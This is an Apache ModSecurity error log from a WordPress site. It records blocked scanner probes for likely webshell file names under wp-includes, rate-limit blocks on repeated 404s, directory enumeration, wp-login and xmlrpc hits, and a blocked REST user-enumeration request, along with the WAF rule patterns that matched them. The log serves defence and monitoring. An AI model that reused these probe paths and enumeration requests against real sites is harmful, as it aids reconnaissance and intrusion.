[Sat Dec 20 20:54:50.550295 2025] [:error] [pid 62124:tid 62141] [client 4.197.92.49:51962] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shell.php"] [unique_id "aUacmls94zPA9ULQOjlxqwAAAA8"]
[Sat Dec 20 20:54:51.118962 2025] [:error] [pid 14247:tid 14251] [client 4.197.92.49:40238] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tgrs.php"] [unique_id "aUacmyDv9TtKKdJQn9kKmgAAAQI"]
[Sat Dec 20 20:54:51.708091 2025] [:error] [pid 14247:tid 14268] [client 4.197.92.49:46725] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tgrs.php"] [unique_id "aUacmyDv9TtKKdJQn9kKmwAAARM"]
[Sat Dec 20 20:54:53.460021 2025] [:error] [pid 14247:tid 14253] [client 4.197.92.49:46731] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tgrs.php"] [unique_id "aUacnSDv9TtKKdJQn9kKnwAAAQQ"]
[Sat Dec 20 20:54:54.064834 2025] [:error] [pid 14247:tid 14266] [client 4.197.92.49:49771] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tgrs.php"] [unique_id "aUacniDv9TtKKdJQn9kKoAAAARE"]
[Sat Dec 20 20:54:55.980082 2025] [:error] [pid 33687:tid 33693] [client 4.197.92.49:52182] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/system_log.php"] [unique_id "aUacnzYMR4qK1N4g7vjDRwAAAkM"]
[Sat Dec 20 20:54:57.544407 2025] [:error] [pid 62124:tid 62136] [client 4.197.92.49:48106] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/system_log.php"] [unique_id "aUacoVs94zPA9ULQOjlxrgAAAAo"]
[Sat Dec 20 20:54:58.326093 2025] [:error] [pid 33749:tid 33775] [client 4.197.92.49:51706] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/system_log.php"] [unique_id "aUacotoInXJnb96wei9I0QAAApg"]
[Sat Dec 20 20:54:59.004633 2025] [:error] [pid 33687:tid 33696] [client 4.197.92.49:41032] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/system_log.php"] [unique_id "aUacozYMR4qK1N4g7vjDSQAAAkY"]
[Sat Dec 20 20:54:59.752308 2025] [:error] [pid 39577:tid 39583] [client 4.197.92.49:52205] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass4.php"] [unique_id "aUaco7viRnt1rJiSOfxVwgAAAMQ"]
[Sat Dec 20 20:55:01.369342 2025] [:error] [pid 33687:tid 33700] [client 4.197.92.49:52021] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass4.php"] [unique_id "aUacpTYMR4qK1N4g7vjDTAAAAko"]
[Sat Dec 20 20:55:02.177199 2025] [:error] [pid 62124:tid 62135] [client 4.197.92.49:52305] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass4.php"] [unique_id "aUacpls94zPA9ULQOjlxswAAAAk"]
[Sat Dec 20 20:55:03.463405 2025] [:error] [pid 33749:tid 33752] [client 4.197.92.49:51273] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass4.php"] [unique_id "aUacp9oInXJnb96wei9I0gAAAoE"]
[Sat Dec 20 20:55:04.539104 2025] [:error] [pid 62124:tid 62136] [client 4.197.92.49:49493] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z.php"] [unique_id "aUacqFs94zPA9ULQOjlxuwAAAAo"]
[Sat Dec 20 20:55:06.270176 2025] [:error] [pid 33570:tid 33598] [client 4.197.92.49:1150] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z.php"] [unique_id "aUacqoTNveA-c6YcSrIDfAAAAdY"]
[Sat Dec 20 21:41:18.829589 2025] [:error] [pid 62124:tid 62144] [client 85.203.34.34:40495] [client 85.203.34.34] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/index.php"] [unique_id "aUanfls94zPA9ULQOjl6LwAAABI"]
[Sat Dec 20 21:41:21.643467 2025] [:error] [pid 33793:tid 33798] [client 85.203.34.32:39923] [client 85.203.34.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/bk/index.php"] [unique_id "aUangVSicyB0BFmbRMzPnAAAAsM"]
[Sat Dec 20 21:41:32.635029 2025] [:error] [pid 39577:tid 39590] [client 85.203.34.37:37385] [client 85.203.34.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/theme-compat/chosen.php"] [unique_id "aUanjLviRnt1rJiSOfxfyQAAAMs"]
[Sat Dec 20 21:41:37.019462 2025] [:error] [pid 62124:tid 62135] [client 85.203.34.15:24863] [client 85.203.34.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/chosen.php"] [unique_id "aUankVs94zPA9ULQOjl6xgAAAAk"]
[Sat Dec 20 21:41:37.641644 2025] [:error] [pid 14247:tid 14262] [client 85.203.34.45:48489] [client 85.203.34.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/chosen.php"] [unique_id "aUankSDv9TtKKdJQn9kRZQAAAQ0"]
[Sat Dec 20 21:41:38.210440 2025] [:error] [pid 39577:tid 39599] [client 85.203.34.40:59127] [client 85.203.34.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/pomo/wp-conflg.php"] [unique_id "aUankrviRnt1rJiSOfxf8AAAANQ"]
[Sat Dec 20 21:41:41.060103 2025] [:error] [pid 14286:tid 14298] [client 85.203.34.30:50427] [client 85.203.34.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/certificates/chosen.php"] [unique_id "aUanlZ7rbXIrw6rGSdZ9HQAAAUg"]
[Sat Dec 20 21:41:43.931465 2025] [:error] [pid 33793:tid 33810] [client 85.203.34.27:58525] [client 85.203.34.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/Auth/index.php"] [unique_id "aUanl1SicyB0BFmbRMzP5AAAAs8"]
[Sat Dec 20 21:41:57.423464 2025] [:error] [pid 33844:tid 33859] [client 85.203.34.25:57845] [client 85.203.34.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aUanpSaNtwGsyqqVmQHy8AAAAw0"]
[Sat Dec 20 21:41:58.016056 2025] [:error] [pid 33687:tid 33694] [client 85.203.34.4:62191] [client 85.203.34.4] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/wp-conflg.php"] [unique_id "aUanpjYMR4qK1N4g7vjLigAAAkQ"]
[Sat Dec 20 21:43:05.799225 2025] [:error] [pid 39493:tid 39555] [client 85.203.34.24:43191] [client 85.203.34.24] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.203.34.24, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUan6WhjL2VG_FmIHqD7dwAAAIY"]
[Sat Dec 20 21:43:14.873338 2025] [:error] [pid 39493:tid 39554] [client 85.203.34.24:43191] [client 85.203.34.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/modules.php"] [unique_id "aUan8mhjL2VG_FmIHqD77AAAAIU"]
[Sat Dec 20 21:43:50.723999 2025] [:error] [pid 33570:tid 33597] [client 85.203.34.43:39495] [client 85.203.34.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/codeboy1877_up.php"] [unique_id "aUaoFoTNveA-c6YcSrIPIgAAAdU"]
[Sat Dec 20 21:45:22.448965 2025] [:error] [pid 62124:tid 62145] [client 85.203.34.9:32123] [client 85.203.34.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/"] [unique_id "aUaocls94zPA9ULQOjmDiAAAABM"]
[Sat Dec 20 21:45:38.437010 2025] [autoindex:error] [pid 33793:tid 33811] [client 85.203.34.31:26243] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Dec 20 21:45:58.392162 2025] [autoindex:error] [pid 33793:tid 33806] [client 85.203.34.31:26243] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Dec 20 21:46:11.475137 2025] [autoindex:error] [pid 33793:tid 33819] [client 85.203.34.31:26243] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Dec 20 21:46:11.803946 2025] [autoindex:error] [pid 33793:tid 33801] [client 85.203.34.31:26243] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Dec 20 21:46:12.094290 2025] [autoindex:error] [pid 33793:tid 33817] [client 85.203.34.31:26243] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Dec 20 21:46:12.391462 2025] [autoindex:error] [pid 33793:tid 33812] [client 85.203.34.31:26243] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Dec 20 21:46:12.853371 2025] [autoindex:error] [pid 33793:tid 33802] [client 85.203.34.31:26243] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Dec 20 21:46:19.873410 2025] [autoindex:error] [pid 33793:tid 33811] [client 85.203.34.31:26243] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Dec 20 21:46:20.194626 2025] [autoindex:error] [pid 33793:tid 33806] [client 85.203.34.31:26243] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Dec 20 21:46:20.508142 2025] [autoindex:error] [pid 33793:tid 33812] [client 85.203.34.31:26243] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Dec 20 21:46:20.839560 2025] [autoindex:error] [pid 33793:tid 33819] [client 85.203.34.31:26243] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Dec 20 21:46:55.014376 2025] [autoindex:error] [pid 33793:tid 33802] [client 85.203.34.31:26243] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/plugins/elementor/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Dec 20 21:47:15.244048 2025] [:error] [pid 33793:tid 33802] [client 85.203.34.31:26243] [client 85.203.34.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wordpress/wp-includes/"] [unique_id "aUao41SicyB0BFmbRMzcHwAAAsc"]
[Sat Dec 20 21:48:00.000383 2025] [:error] [pid 33687:tid 33696] [client 85.203.34.20:58255] [client 85.203.34.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/tmp/"] [unique_id "aUapDzYMR4qK1N4g7vjazQAAAkY"]
[Sat Dec 20 21:48:00.657163 2025] [:error] [pid 33793:tid 33814] [client 85.203.34.20:28037] [client 85.203.34.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/tmp/"] [unique_id "aUapEFSicyB0BFmbRMzeCgAAAtM"]
[Sat Dec 20 21:48:01.424906 2025] [:error] [pid 33570:tid 33582] [client 85.203.34.6:64879] [client 85.203.34.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/tmp/"] [unique_id "aUapEYTNveA-c6YcSrIZnQAAAcY"]
[Sat Dec 20 21:49:45.854797 2025] [autoindex:error] [pid 33749:tid 33774] [client 85.203.34.6:54379] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/ectoplasm/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Dec 20 21:49:46.176914 2025] [autoindex:error] [pid 33749:tid 33767] [client 85.203.34.6:54379] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/light/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Dec 20 21:49:46.493778 2025] [autoindex:error] [pid 33749:tid 33763] [client 85.203.34.6:54379] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/midnight/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Dec 20 21:49:46.820819 2025] [autoindex:error] [pid 33749:tid 33751] [client 85.203.34.6:54379] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/modern/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Dec 20 21:49:47.108725 2025] [autoindex:error] [pid 33749:tid 33754] [client 85.203.34.6:54379] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/ocean/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Dec 20 21:49:47.502665 2025] [autoindex:error] [pid 33749:tid 33771] [client 85.203.34.6:54379] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/sunrise/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Dec 20 21:49:47.837693 2025] [autoindex:error] [pid 33749:tid 33770] [client 85.203.34.6:54379] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 21 00:37:20.919480 2025] [:error] [pid 8640:tid 8663] [client 49.144.10.199:40245] [client 49.144.10.199] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.144.10.199, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUbQwPVclzlEWWhvYtlWuwAAAI0"]
[Sun Dec 21 00:41:32.600339 2025] [:error] [pid 8751:tid 8769] [client 49.144.10.199:38019] [client 49.144.10.199] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aUbRvGvrnuGjNP7vtDQMfwAAABA"]
[Sun Dec 21 00:42:42.494002 2025] [:error] [pid 22338:tid 22403] [client 49.144.10.199:38091] [client 49.144.10.199] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.144.10.199, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUbSAnGYQSUt-opKpSL-XgAAAFI"]
[Sun Dec 21 00:44:02.313354 2025] [:error] [pid 22338:tid 22393] [client 49.144.10.199:38566] [client 49.144.10.199] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.144.10.199, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUbSUnGYQSUt-opKpSL_CQAAAEk"]
